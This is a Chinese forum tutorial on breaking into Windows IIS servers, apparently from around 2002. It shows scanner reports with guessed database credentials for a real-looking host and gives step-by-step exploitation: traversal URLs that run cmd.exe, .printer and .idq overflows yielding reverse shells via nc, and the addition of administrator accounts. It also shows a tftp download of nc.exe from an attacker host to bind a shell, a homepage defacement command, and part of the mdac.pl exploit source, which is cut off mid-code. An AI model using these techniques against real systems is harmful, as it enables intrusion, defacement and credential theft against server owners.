发新话题
打印

windows入侵初级教程

本主题由 admin 于 2007-12-1 23:46 设置高亮

windows入侵初级教程

========写在前面的废话==========

这是一份给初学者的入门教程,高手就不必看了。
终于放假了,闷头睡了两天。实在闲着无聊,翻了翻资料库,什么乱七八糟的,就整理了这份东西。
首先声明,本人不是黑客,只是个普通的网络安全技术爱好者(*^_^*真是脸红,好恶心的名称)。说到这里,我想有必要谈谈什么是黑客,恩……一时半会也说不清(谁在嘘我?)。如果有空,你不妨读读《国内黑客高手的联系方法》《你尽力了吗》(本站有收录),看看什么才是真正的高手。
其实,对于入侵来说,我一直相信这样一句话,如果网络管理员能够多花1%的精力,那么99%的攻击都可以拒之门外(谁?谁又在嘘我?)。有人可能要问了,这么说攻击那不就很难了?呵呵……可是就有那么多猪头网管,一定要等人把自己的站黑了之后,才想到要打补丁。
为什么想到要写windows的教程呢?原因应该有很多了。其一,现在网络上windows的主机实在是不少,至少国内是这样了,有人说有10%,我看差不多有50%(呵呵……也许夸张了!)二。windows的漏洞太多,太杂。三,……等等(又嘘!)。
微软的IIS服务器由于其使用的简便,被国内大部分中小网站使用。但是,也就是因为它的使用简便,只是微软服务器一直成为黑客最喜欢攻击的目标,于是,几乎大家已经形成一个心里定式,那就是微软的服务器是不安全的、脆弱的。

  其实这个我们我们应该一分为二的看,一是微软的系统本身的问题,不可否认,微软的系统特别是IIS的确有较多漏洞,有些漏洞设置威胁到这个系统的安全;另一方便,国内的大多数网管其实并没有真正的研究过系统漏洞甚至完全没有仔细设置过IIS的安全,所以,现在我们只要在网上随便找就可以找到很多几年前的就发现的IIS漏洞的服务器,这不能不说是网管的责任。 其实,如果配置得当,windows的安全性还是可以让人放心的。

入侵一个系统有很多步骤,阶段性很强的“工作”,其最终的目标是获得超级用户权限——对目标系统的绝对控制。从对该系统一无所知开始,我们利用其提供的各种网络服务收集关于它的信息,这些信息暴露出系统的安全脆弱性或潜在入口;然后我们利用这些网络服务固有的或配置上的漏洞,试图从目标系统上取回重要信息(如口令文件)或在上面执行命令,通过这些办法,我们有可能在该系统上获得一个普通的shell接口;接下来,我们再利用目标系统本地的操作系统或应用程序的漏洞试图提升我们在该系统上的权限,攫取超级用户控制;适当的善后工作包括隐藏身份、消除痕迹、安置特洛伊木马和留后门。

废话说了那么多……不说了。






第一部分

===========扫描===================

这一步可以称作信息的收集。从对攻击目标一无所知开始,通过种种尝试,获得越来越多的关于它的信息;攻击者的哲学是:没有无用的信息。几乎关于攻击目标的任何知识都是可能的入侵入口,举凡操作系统类型、版本、用户名等,即使是一些表面上无害的信息,也可能通过和别的信息综合而构成暴露系统漏洞的消息。
其实,大多数攻击最初是没有明确的目标的。诸位看官可能要失望了!因为太多的电影美化了攻击者的形象,好象他们个个是天才,想干什么就能干什么。而事实是攻击是一种很乏味的工作。收集信息--》测试--》失败--》再收集--》再试--》再失败……--》只到成功。哦,跑题了^_^!
对于扫描器的选择,本人私下推荐小榕的流光(www.netxeyes.com)和xfocus的x-scan(www.xfocus.net)。而流光无论在速度和准确性上似乎都更胜一筹,但是流光有ip限制和时间限制,不爽!其实,流光不止有扫描功能。它实在太强大了,如果你想成为一个真正的高手,还是少用为好。x-scan虽然速度什么的不是很好,而且不稳定,但它的“漏洞资料”本身就是一份很好的入门教程,虽然不是很详细,但它提供了一个很好的方向,不过,1.2版本之后,怎么成英文的了。
1。ping
先用ping命令看看ip是不是存活。
c:\>ping www.xxx.edu.cn

Pinging www.xxx.edu.cn [xxx.xxx.xxx.xxx] with 32 bytes of data:

Reply from xxx.xxx.xxx.xxx: bytes=32 time=50ms TTL=116
Reply from xxx.xxx.xxx.xxx: bytes=32 time=40ms TTL=116
Reply from xxx.xxx.xxx.xxx: bytes=32 time=40ms TTL=116
Reply from xxx.xxx.xxx.xxx: bytes=32 time=40ms TTL=116

Ping statistics for xxx.xxx.xxx.xxx:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 40ms, Maximum = 50ms, Average = 42ms
c:\>_
其中,返回的xxx.xxx.xxx.xxx就是该域名所对应的ip。
我们注意,ttl:指定数据报被路由器丢弃之前允许通过的网段数量。
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。
转发 IP 数据包时,要求路由器至少将 TTL 减小 1!
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
有的经过修改注册表可以修改ttl返回的值的!
从这里我们可以大致判断出对方主机的系统类型,因为大多数网管是不会改ttl值的 。

2。端口扫描
端口扫描是通过扫描找出目标系统开放的服务端口从而推断出目标系统上运行的服务,通过这些服务可能获取进一步的知识或通往系统的路径。端口扫描的程序所在多有,可从网上免费获取。如x-port,流光和x-scan也都中和了端口扫描功能。
有兴趣的话可以看看services文件,它列出了一些服务和与之对应的端口号。
c:\windows>edit services
一般来说,服务开的越多,漏洞就越多,机会也就越多。

写到这里,连我都有点烦了,说些什么东西呀?都什么年代了,还说这些老掉牙的东西。现在的攻击可以说是变的很简单了,网络上什么工具都有。一个漏洞出来,马上就有相应的测试或攻击程序出来。攻击者只要拿些现成的东西用。什么?现成的软件不会用?大哥,不要开玩笑了,帮助文件会看么?什么,不是吧,还是不会,那我帮不了你了。

我们还是来看看怎么判断系统,注意我们说的是windows系列,一般来说,现在连在internet上的服务器除了win NT就是win2000了,怎么区分呢?
可以输入如下命令:
telnet xxx.xxx.xxx.xxx 80
GET INDEX.HTML
可以看到回显: Microsoft-IIS/4.0或: Microsoft-IIS/5.0。如果是: IIS 4.0那么系统极有可能是NT。如果是: 5.0的,那么就是2000了。但有些服务器把WEB运行在
8080,81,8000,8001口,你就TELNET相应的口上。
其实现在的扫描器真的是很好,根本就用不着这么麻烦,扫完之后,看一下报告就什么都有了。


真是枯燥啊!(我都打哈欠了……呵呵,早上三点了。)现在来点生动的,我们来看2份流光的报告。
(由于,第一份报告可能会暴露火丁的身份,故隐去。)

-------------------------------------------------------------------
-------------------------------------------------------------------
http://www.netXeyes.com

http://www.netXeyes.org

【小榕作品】

小榕软件实验室 1995-2001

xxx.xxx.xxx.xxx

------------------------------------------------------------------

端口扫描


80(HTTP)

21(FTP Control)

25(SMTP)

443(HTTPS)

5631(PCAnyWhere)

3306(MYSQL)

---------------------------------------------------------------------

FTP扫描


FTP版本信息: Serv-U FTP 服务器 v3.0 for WinSock 就绪...


---------------------------------------------------------------------

SMTP扫描


SMTP版本信息: 220-xxxx.xxx.edu.cn Microsoft SMTP MAIL ready at Thu, 3 Jan 2002 21:21:24 +0800 Version: 5.5.1775.675.6 220 ESMTP spoken here

支持VRFY


---------------------------------------------------------------------

CGI扫描


WEB版本信息: Microsoft-IIS/4.0

WWW 标题: :::值得为自己放一天假!!

扫描成功CGI漏洞

/msadc/samples/adctest.asp (HTTP: 200 )

/scripts/tools/newdsn.exe (HTTP: 200 )

/scripts/tools/mkilog.exe (HTTP: 200 )

/scripts/tools/getdrvrs.exe (HTTP: 200 )

/scripts/tools/dsnform.exe (HTTP: 200 )

/scripts/iisadmin/bdir.htr (HTTP: 200 )

/msadc/samples/selector/showcode.asp (HTTP: 200 )

/msadc/Samples/SELECTOR/showcode.asp (HTTP: 200 )

/msadc/samples/adctest.asp (HTTP: 200 )

/msadc/msadcs.dll (HTTP: 200 )

/default.asp+.htr (HTTP: 200 )

/default.asp::$DATA (HTTP: 200 )

/default.asp%81 (HTTP: 200 )

/iisadmpwd/aexp4b.htr (HTTP: 200 )

/iisadmpwd/aexp4.htr (HTTP: 200 )

/iisadmpwd/anot.htr (HTTP: 200 )

/iisadmpwd/aexp.htr (HTTP: 200 )

/iisadmpwd/anot3.htr (HTTP: 200 )

/iisadmpwd/aexp3.htr (HTTP: 200 )

/iisadmpwd/aexp2.htr (HTTP: 200 )

/iisadmpwd/aexp2b.htr (HTTP: 200 )

/iisadmpwd/achg.htr (HTTP: 200 )

/IISADMPWD/achg.htr (HTTP: 200 )

/_AuthChangeUrl? (HTTP: 200 )

/_AuthChangeUrl (HTTP: 200 )

/?PageServices (HTTP: 200 )



---------------------------------------------------------------------

MISC


MySQL Version is: 3.23.35a?

猜解成功用户帐号 root:(NULL)

-------------------------------------------------------------------------
-------------------------------------------------------------------------
这是一份典型的NT服务器漏洞报告,下面这一份是2000的。

-----------------------------------------------------------------------
-----------------------------------------------------------------------


http://www.netXeyes.com

http://www.netXeyes.org

【小榕作品】

小榕软件实验室 1995-2001


211.100.17.158 (211.100.17.158)
-------------------------------------------------------------------

端口扫描


80(HTTP)

25(SMTP)

80(HTTP)

53(DNS)

443(HTTPS)


------------------------------------------------------------------------

SMTP扫描


SMTP版本信息: 220 zhihongweb Microsoft ESMTP MAIL Service, Version: 5.0.2195.2966 ready at Fri, 23 Nov 2001 17:41:10 +0800

支持VRFY


-------------------------------------------------------------------------

MSSQL扫描


猜解成功用户帐号 sa:(NULL) zhihong:zhnet75717


-------------------------------------------------------------------

CGI扫描


WEB版本信息: Microsoft-IIS/5.0

WWW 标题:中鸿网-->专业的网上教学资源库

扫描成功CGI漏洞

/scripts/samples/search/simple.idq (HTTP: 200 )

/scripts/samples/search/queryhit.idq (HTTP: 200 )

/scripts/samples/search/query.idq (HTTP: 200 )

/scripts/samples/search/qsumrhit.htw (HTTP: 200 )

/scripts/samples/search/qfullhit.htw (HTTP: 200 )

/scripts/samples/search/filetime.idq (HTTP: 200 )

/scripts/samples/search/author.idq (HTTP: 200 )

/scripts/samples/search/filesize.idq (HTTP: 200 )

/iissamples/issamples/query.idq (HTTP: 200 )

/iissamples/issamples/oop/qsumrhit.htw (HTTP: 200 )

/iissamples/exair/search/search.idq (HTTP: 200 )

/iissamples/issamples/fastq.idq (HTTP: 200 )

/iishelp/iis/misc/iirturnh.htw (HTTP: 200 )

/index.asp%81 (HTTP: 200 )

/iissamples/issamples/oop/qfullhit.htw (HTTP: 200 )

/iissamples/exair/search/qsumrhit.htw (HTTP: 200 )

/iissamples/exair/search/query.idq (HTTP: 200 )

/iissamples/exair/search/qfullhit.htw (HTTP: 200 )

/blabla.idq (HTTP: 200 )

/abczxv.htw (HTTP: 200 )

/?PageServices (HTTP: 200 )

/*.idq (HTTP: 200 )

/*.ida (HTTP: 200 )



-----------------------------------------------------------------

Plugins


IIS5.0 .Printer Exploit(Grant System Privileges)

-------------------------------------------------------------------
-------------------------------------------------------------------

就让这两份报告把我们带入下一部分(呜……好困!睡了.明天再开始进入第二部分吧,再有几天就过年了)。






第二部分

================漏洞利用===============

我一直在考虑这一部份的题目叫什么好呢?在安全界有这样一个术语叫“exploit”,很明显直译肯定不对,我一直不是很清楚怎么翻译。我想大概就是“漏洞利用”这个意思。其实指的是程序或工具,而现在是我想说的是过程和方法。
这里,我想作一点说明,就是以下所讲的,不是上面两份报告的分析。而是对所有windwos可能出现漏洞的攻击方法的介绍。所以上面没有扫到的漏洞,下面也会叙述到。
当然,也是不可能每一样都介绍到,如果有高手有什么指教的话,请发信到huodingx@263.net我的邮箱,或者,到我的个人主页http://huodingx.yeah.net,大家交流,交流。
其实,从一开始打算写这份东西,我也不知道要把它做成什么样,就想写到那,算那。不过,现在有点眉目了,呵呵……有点样子了。


------输入法漏洞-------------

关于这个东东,windwos2000一推出,网上就有报道了,可以绕过口令登陆而进入windows。具体做法是,当看到windwos的登陆界面,就按快捷键切换输入法到全拼输入法,点击鼠标右键,打开“帮助”,看到有链接的地方,按住ctrl键,同时点击右键,这时会打开一个IE窗口。呵呵……到了这里,知道怎么做了吧。在地址栏中输入c:\
就会出现c盘的内容。在用户管理那里,你甚至可以往Administrators组里添加用户。
关于远程利用这个漏洞,如果对方主机,开3389端口的远程登陆服务,那么你可以用附件中的远程登陆的客户端程序进行登陆,连接后就跟操作自己的机器一样,如果有输入法漏洞,就可以按照上述方法进行测试。火丁很是不幸,一直没有机会远程测试。不过自己的机器,到是试过。


--------IIS unicode漏洞--------
关与这个漏洞,我也不想多说什么。网上有成吨的文章介绍它。本站也收录了《unicode编码漏洞全攻略》(1-8)如果你全读完了,对这个漏洞的利用基本是没什么问题了。5月份,中美网络大战,国内的一些所谓的红客,就是利用这个漏洞,改了大量的美国主页。也是之所以一些人认为哪次攻击技术含量不高的原因。

最早是由NSFOCUS安全小组的袁哥发现微软IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在 一个安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时, 如果该文件名包含unicode字符,它会对其进行解码,如果用户提供一些特殊 的编码,将导致IIS错误的打开或者执行某些web根目录以外的文件。

------------IIS CGI文件名二次解码漏洞---------

其实,这个漏洞类似与unicode。利用这个漏洞,我们可以象利用unocode漏洞一样运行远程主机的dos命令,攻击方法基本相同。
绿盟www. nsfocus.com2001年5月15日在绿盟月刊第21期公布了Microsoft IIS CGI文件名错误解码漏 洞。 该漏洞是由于iIIS在加载可执行CGI程序时,会进行两次解码。第一次解码是对CGI文件名进 行http解码,然后判断此文件名是否为可执行文件,例如检查后缀名是否为".exe"或".com"等等。在文件名 检查通过之后,IIS会再进行第二次解码。正常情况下,应该只对该CGI的参数进行解码,然而,IIS错误地 将已经解码过的CGI文件名和CGI参数一起进行解码。这样,CGI文件名就被错误地解码了两次。

通过精心构造CGI文件名,攻击者可以绕过IIS对文件名所作的安全检查,例如对"../"
或"./"的检查,在某些条件下,攻击者可以执行任意系统命令。

例如,对于'\'这个字符,正常编码后是%5c。这三个字符对应的编码为:
'%' = %25
'5' = %35
'c' = %63
如果要对这三个字符再做一次编码,就可以有多种形式,例如:
%255c
%%35c
%%35%63
%25%35%63
...

因此,"..\"就可以表示成"..%255c"或"..%%35c"等等形式。


可以看出,该漏洞与unicode漏洞在运用上有着相似之处。

如果目标主机存在一个虚拟可执行目录(scripts),并且它与

windows系统在同一驱动器上。那么在浏览器提交请求:

http://目标主机ip/scripts/..%25%35%63..%25%35%63cwinnt/system32/cmd.exe?/c+dir+c:\

可以列出远程主机的c盘根目录:

根据绿盟的公告,该漏洞编码形式还有:

/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c

/scripts/..%252f..%252fwinnt/system32/cmd.exe?/c

/scripts/..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c

/scripts/..%%35%63..%%35%63winnt/system32/cmd.exe?/c

/scripts/..%%35c..%%35cwinnt/system32/cmd.exe?/c

(应该还有更多)
网上有专门的扫描器。至于漏洞利用的详细利用,可以参考《unicode编码漏洞全攻略》(1-8)。


--------------IIS 5.0 .printer远程缓冲区溢出漏洞(ISAPI)----------------

微软Win 2K IIS 5的打印ISAPI扩展接口建立了.printer扩展名到msw3prt.dll的映射关系,缺省情况下该映射存在。当远程用户提交对.printer的URL请求时,IIS 5调用msw3prt.dll解释该请求。由于msw3prt.dll缺乏足够的缓冲区边界检查,远程用户可以提交一个精心构造的针对.printer的URL请求,其"Host:"域包含大约420字节的数
据,此时在msw3prt.dll中发生典型的缓冲区溢出,潜在允许执行任意代码。溢出发生后,WEB服务停止响应,Win 2K可以检查到WEB服务停止响应,从而自动重启它,因此系统管理员很难意识到发生过攻击。
这个漏洞非常危险,因为它仅仅需要WIN2000打开80端口(http)或者443端
口(https),微软公司强烈要求在未打补丁之前一定要移除ISAPI网络打印的映射。
ISAPI (Internet Services Application Programming Interface)因特网服务
应用编程界面是一种能够使网络开发商通过编写能为网络服务器提供新的服务的
自定义命令码来扩展网络服务器功能的一种技术。
该自定义命令码既能在ISAPI过滤器中完成(当新的功能所提供一种较低水平的服
务时);也能在ISAPI扩展项中完成(当新的功能提供一种较高水平服务时)。现在,
被溢出的代码就是这ISAPI扩展。
由于,这个漏洞存在与web服务端口,所以,对开设http或https服务功能的主机来说,连放火墙也不能阻止利用这个功能。
另外,该漏洞不影响iis 4.0的服务器。

相应的攻击程序有3种(至少我知道这三)。

1、小榕的IIS5Exploit
严格地说,这软件并不是小榕写的,这软件是小榕根据jill.c改编优化部分代
码编译出来的。不过这软件确实很好,特别推荐大家使用。
下载地址http://www.netxeyes.com/IIS5Exploit.zip
压缩包里含有三个文件IIS5Exploit.exe、nc.exe、readme.txt
IIS5 .Printer Exploit 使用说明
-----------------以下是readme.txt的内容
本程序适用于英文版IIS 5.0
1、首先在本机用NC开一个监听端口。
C:\>nc -l -p 99
2、运行IIS5Exploit
D:\>jill xxx.xxx.xxx.xxx 211.152.188.1 333
===========IIS5 English Version .Printer Exploit.===========
===Written by Assassin 1995-2001. http://www.netXeyes.com===
Connecting 211.152.188.1 ...OK.
Send Shell Code ...OK
IIS5 Shell Code Send OK
其中211.152.188.1指向本地IP。
稍等片刻,如果成功在本机NC监听的端口出现:
C:\>nc -l -p 99
Microsoft Windows 2000[Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
C:\>
可以执行命令。如:
C:\>net user hack password /add
The command completed successfully.
C:\>net localgroup administrartors hack /add
这样就创建了一个属于Administrator组的用户Hack,密码为password.
-----------------------------------------------------------------
使用说明解释:
使用这软件实际上要开两个MS-DOS窗口,首先运行nc -l -p 99 当然也可以
把端口定义为其他的。然后,打入: IIS5Exploit 目标主机的IP 自己的IP 99(要与自己NC开的端口一致)
为了攻击的成功率高,首先必须要明确所攻击的目标主机一定是开有
http\https服务的win2k。
也可以用eyas提供的ScanPrinter来扫描获得。

2、isno提供的cniis、iisx
isno最新的.printer漏洞攻击软件是iisx,是CNIIS的升级版本,按找作者的
使用说明我们可以看到:
使用方法: iisx <目标主机> <sp> <-p|-a|-r attackhost attackport>

sp: 0 --- 目标没有安装SP , 1 --- 目标安装了SP1

提供三种对IIS5 .printer漏洞的攻击方式:

-p --- 对攻击目标运行iisx 66.77.88.99 0 -p
在66.77.88.99上开一个端口7788,可以直接telnet 66.77.88.99 7788

-a --- 对攻击目标运行iisx 66.77.88.99 0 -a
在66.77.88.99上添加一个管理员帐号:hax,其密码也为hax,
可以使用net use \\66.77.88.99\ipc$ "hax" /user:"hax"建立连接。

-r --- 反向连接(类似于jill的方式),具体实施方法如下:

例如先在一台机器111.222.333.444上运行nc -vv -l -p 5432,
然后对攻击目标运行iisx 66.77.88.99 0 -r 111.222.33.444 5432,
这时在111.222.333.444就会出现来自66.77.88.99的连接。


3、sunx.org提供的iis5hack
运行参数
iis5hack <目标主机IP> <WEB端口80> <主机类型>

中文WIN2K: 0
中文WIN2K sp1: 1
英文WIN2K: 2
英文WIN2K, sp1: 3
日文WIN2K: 4
日文WIN2K, sp1: 5

E:\HACK\print>iis5hack 63.110.130.66 80 3
iis5 remote .printer overflow. writen by sunx
http://www.sunx.org
for test only, dont used to hack, :p
connecting...
sending...
Now you can telnet to 99 port
good luck :)

c:\telnet 63.110.130.66 99
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\WINNT\system32>
已经进入目标主机,你想干什么就是你的事啦。该软件的优点是针对多种语
言版本的WIN2K系统,缺点,溢出成功后目标主机的IIS停止服务,并且得到
SHELL后要在较短时间内完成你想做的事,时间长的话连SHELL、IIS都会死
掉;不能随意定义目标主机的SHELL端口。在退出TELNET服务时也一定要记住
正常exit退出,否则目标主机的IIS也会死。

---------------------------------

这里说到iis5hack,又让我想起了另外一个软件……



-----------IIS HACK-------------
说起来惭愧,我最早是在一份电脑杂志上也有看到他的介绍。
www.eeye.com的人员发现了一个IIS4.0的缓冲溢出可以允许用户上载
程序,如netcat到目标服务器,并把cmd.exe绑定到80口。这个缓冲溢
出主要存在于.htr,.idc和.stm文件中,其对关于这些文件的URL请求
没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序
在系统中下载和执行程序。
你需要一台自己的WEB服务器, 当然你可以是虚拟服务器哦。如:放到自己的主页空间或肉鸡上也可以啦!

你现在你自己的WEB服务器上运行WEB服务程序并把ncx.exe放到你自己相应
的目录下,然后使用iishack.exe来检查目标机器:
c:\>iishack.exe <victim> 80 <your webserver>/ncx.exe
然后你就使用netcat来连接你要检测的服务器:
c:\>nc <victim> 80
如果溢出点正确你就可以看到目标机器的命令行提示,并且是管理远权限。



----------------IIS Index Server(.ida/idq) ISAPI扩展远程溢出漏洞---------------
微软IIS缺省安装情况下带了一个索引服务器(Index Server,在Windows 2000下名为"Index Service").缺省安装时,IIS支持两种脚本映射:管理脚本(.ida文件)、Inernet数据查询脚本(.idq文件)。这两种脚本都由一个ISAPI扩展 - idq.dll来处理和解释。
由于idq.dll在处理某些URL请求时存在一个未经检查的缓冲区,如果攻击者提供一个特殊格式的URL,就可能引发一个缓冲区溢出。通过精心构造发送数据,攻击者可以改变程序执行流程,执行任意代码。
成功地利用这个漏洞,攻击者可以远程获取"Local System"权限。

(写到这里的时候,窗外爆竹声骤起,零点的钟声敲响了。在这里谨以此文祝贺火丁又大了一岁!现在是马年了。好困……睡了。)

xfocus的isno公布了一段改良后的攻击代码,如果有兴趣可以找原代码读一下,这里就不做介绍了。我们还是来看看怎么攻击^_^。
有两个程序,ISMiscOverflowV1_Build0010.exe和IISIDQOverflowV1_Build0010.exe
是snake做的,可以到http://snake12.top263.net他的个人主页下载。下载运行前者出现了程序的主界面.
看看实战吧~~~ 首先找到有.idq漏洞的机器,流光可以扫描到.很多的.随便来一个.
在被攻击IP地址后面写上对方的IP.端口号一般不需要改动. 左面选择操作系统类型.先选择IIS5 English Win2k Sp0吧~ 软件的默认绑定CMD.EXE的端口是813.不改了.用默认吧~~~ 点击IDQ溢出~~OK~~出现发送Shellcode成功的提示了.
都说nc比telnet强大.用nc吧~
c:\windows>nc -vv XXX.XXX.XXX.XXX 813
XXX.XXX.XXX.XXX: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [XXX.XXX.XXX.XXX] 813 (?): connection refused
sent 0, rcvd 0: NOTSOCK

c:\windows>
看来没成功. 再来一次了!
换用IIS5 English Win2k Sp1再试!
c:\windows>nc -vv XXX.XXX.XXX.XXX 813
XXX.XXX.XXX.XXX: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [XXX.XXX.XXX.XXX] 813 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>

OK!!!~~~你不用在向用unicode那样害怕权限不够了.你现在可是system权限.


接下来就是IISIDQOverflowV1_Build0010.exe了!为了方便,可以把他改名比如idq.exe
在DOS状态下(假设idq.exe在c:\下)
c:\idq.exe
运行参数: 操作系统类型 目的地址 web端口 溢出端口

支持的操作系统 类型: ----
0 -- IIS5中文Win2k Sp0
1 -- IIS5中文Win2k Sp1
2 -- IIS5中文Win2k Sp2
3 -- IIS5 English Win2k Sp0
4 -- IIS5 English Win2k Sp1
5 -- --not support -- IIS5 English Win2k Sp2
6 -- IIS5 Japanese Win2k Sp0
7 -- IIS5 Japanese Win2k Sp1
8 -- --not support -- IIS5 Japanese Win2k Sp2

IIS5 IDQ Overflow. by snake. (http://snake12.top263.net) 2000/07
c:\>idq 3 XXX.XXX.XXX.XXX80 456
连接目的机器 XXX.XXX.XXX.XXX:80 OK.
发送shellcode 到 XXX.XXX.XXX.XXX:80 OK
现在,你可以 连接 该主机的 端口 456了,good luck.!

c:\>nc -vv XXX.XXX.XXX.XXX 456
mail.rycf.org [XXX.XXX.XXX.XXX] 456 (?): connection refused
sent 0, rcvd 0: NOTSOCK

没成功.试试sp1.
c:\>idq 4 XXX.XXX.XXX.XXX 80 888
连接目的机器 XXX.XXX.XXX.XXX:80 OK.
发送shellcode 到 XXX.XXX.XXX.XXX:80 OK
现在,你可以 连接 该主机的 端口 888了,good luck.!
c:\>nc -vv XXX.XXX.XXX.XXX 888
XXX.XXX.XXX.XXX: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [XXX.XXX.XXX.XXX] 888 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:\WINNT\system32>
呵呵!OK!现在你想干什么啊!

--------------MDAC- 本地命令执行(msadcs.dll )----------------

这个漏洞是比较老了,可网络如此之大,可能还有好多IIS WEB服务
器存在这个漏洞啦。IIS的MDAC组件存在一个漏洞可以导致攻击者远程执行
你系统的命令。主要核心问题是存在于RDS Datafactory,默认情况下,
它允许远程命令发送到IIS服务器中,这命令会以设备用户的身份运行,
其一般默认情况下是SYSTEM用户。关于这个漏洞的描述,很多文章介绍
的很清楚,这里不做详细解释,你如果要对自己的站点进行检查是否存在
这个漏洞,你可以通过下面的操作:

c:\>nc -nw -w 2 <victim> 80
GET /msadc/msadcs.dll HTTP

如果你得到下面的信息:

application/x_varg

就很有可能没有打上补丁并存在此漏洞,你可以使用这两个程序进行测试 mdac.pl和msadc2.pl 。

c:\> mdac.pl -h<victim>
Please type the NT commandline you want to run (cmd /c assumed):\n
cmd /c

OK,如果你要替换对方的主页,你就可以使用下面的方法:

cmd/c echo hacked by me > d:\inetpub\wwwroot\victimweb\index.htm

或者其他命令,当然最好的方法我觉得还是使用上载我们的netcat,并
把CMD.EXE绑定到端口80上,我们可以设置我们自己的TFTP服务程序并把
nc.exe放上去,然后在执行命令,如:

cmd/c cd %systemroot%&&tftp -i <evil_hacker> GET nc.exe&&del ftptmp
&& attrib -r nc.exe&&nc.exe -l -p 80 -t -e cmd.exe

然后你就连接到80口,得到一个SHELL口让你浏览。呵呵!如果,对方开5631或3389
你还可以抓*.cif或sam的密码文档下来,跑密码。

下面提供mdac.pl的perl代码。

#!perl
#
# MSADC/RDS 'usage' (aka exploit) script
#
# by rain.forest.puppy
#
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
# beta test and find errors!

use Socket; use Getopt::Std;
getopts("e:vd:h:XR", \%args);

print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";

if (!defined $args{h}&& !defined $args{R}){
print qq~
Usage: msadc.pl -h<host>{ -d <delay> -X -v }
-h <host> = host you want to scan (ip or domain)
-d <seconds> = delay between calls, default 1 second
-X = dump Index Server path table, if available
-v = verbose
-e = external dictionary file for step 5

Or a -R will resume a command session

~; exit;}

$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
if (defined $args{v}){ $verbose=1; }else{$verbose=0;}
if (defined $args{d}){$delay=$args{d};}else{$delay=1;}
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
if (defined $args{X}&& !defined $args{R}){ &hork_idx; exit; }

if (!defined $args{R}){ $ret = &has_msadc;
die("Looks like msadcs.dll doesn't exist\n")if $ret==0}

print "Please type the NT commandline you want to run (cmd /c assumed):\n"
. "cmd /c ";
$in=<STDIN>; chomp $in;
$command="cmd /c " . $in ;

if (defined $args{R}){&load; exit;}

print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
&try_btcustmr;

print "\nStep 2: Trying to make our own DSN...";
&make_dsn ?print "<<success>>\n" : print"<<fail>>\n";

print "\nStep 3: Trying known DSNs...";
&known_dsn;

print "\nStep 4: Trying known .mdbs...";
&known_mdb;

if (defined $args{e}){
print "\nStep 5: Trying dictionary of DSN names...";
&dsn_dict; }else{ "\nNo -e; Step 5 skipped.\n\n"; }

print "Sorry Charley...maybe next time?\n";
exit;

##############################################################################

sub sendraw{ # ripped and modded from whisker
sleep($delay); # it's a DoS on the server! At least on mine...
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,80,$target)){
select(S); $|=1;
print $pstr; my@in=<S>;
select(STDOUT); close(S);
return @in;
}else{ die("Can't connect...\n"); }}

##############################################################################

sub make_header{ # make the HTTP request
my $msadc=<<EOT
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
User-Agent: ACTIVEDATA
Host: $ip
Content-Length: $clen
Connection: Keep-Alive

ADCClientVersion:01.06
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3

--!ADM!ROX!YOUR!WORLD!
Content-Type: application/x-varg
Content-Length: $reqlen

EOT
; $msadc=~s/\n/\r\n/g;
return $msadc;}

##############################################################################

sub make_req{ # make the RDS request
my ($switch, $p1, $p2)=@_;
my $req=""; my $t1, $t2, $query, $dsn;

if ($switch==1){ # this is the btcustmr.mdb query
$query="Select * from Customers where City=" . make_shell();
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}

elsif ($switch==2){ # this is general make table query
$query="create table AZZ (B int, C varchar(10))";
$dsn="$p1";}

elsif ($switch==3){ # this is general exploit table query
$query="select * from AZZ where C=" . make_shell();
$dsn="$p1";}

elsif ($switch==4){ # attempt to hork file info from index server
$query="select path from scope()";
$dsn="Provider=MSIDXS;";}

elsif ($switch==5){ # bad query
$query="select";
$dsn="$p1";}

$t1= make_unicode($query);
$t2= make_unicode($dsn);
$req = "\x02\x00\x03\x00";
$req.= "\x08\x00" . pack ("S1", length($t1));
$req.= "\x00\x00" . $t1 ;
$req.= "\x08\x00" . pack ("S1", length($t2));
$req.= "\x00\x00" . $t2 ;
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
return $req;}

##############################################################################

sub make_shell{ # this makes the shell() statement
return "'|shell(\"$command\")|'";}

##############################################################################

sub make_unicode{ # quick little function to convert to unicode
my ($in)=@_; my $out;
for ($c=0; $c < length($in); $c++){ $out.=substr($in,$c,1) . "\x00"; }
return $out;}

##############################################################################

sub rdo_success{ # checks for RDO return success (this is kludge)
my (@in) = @_; my $base=content_start(@in);
if($in[$base]=~/multipart\/mixed/){
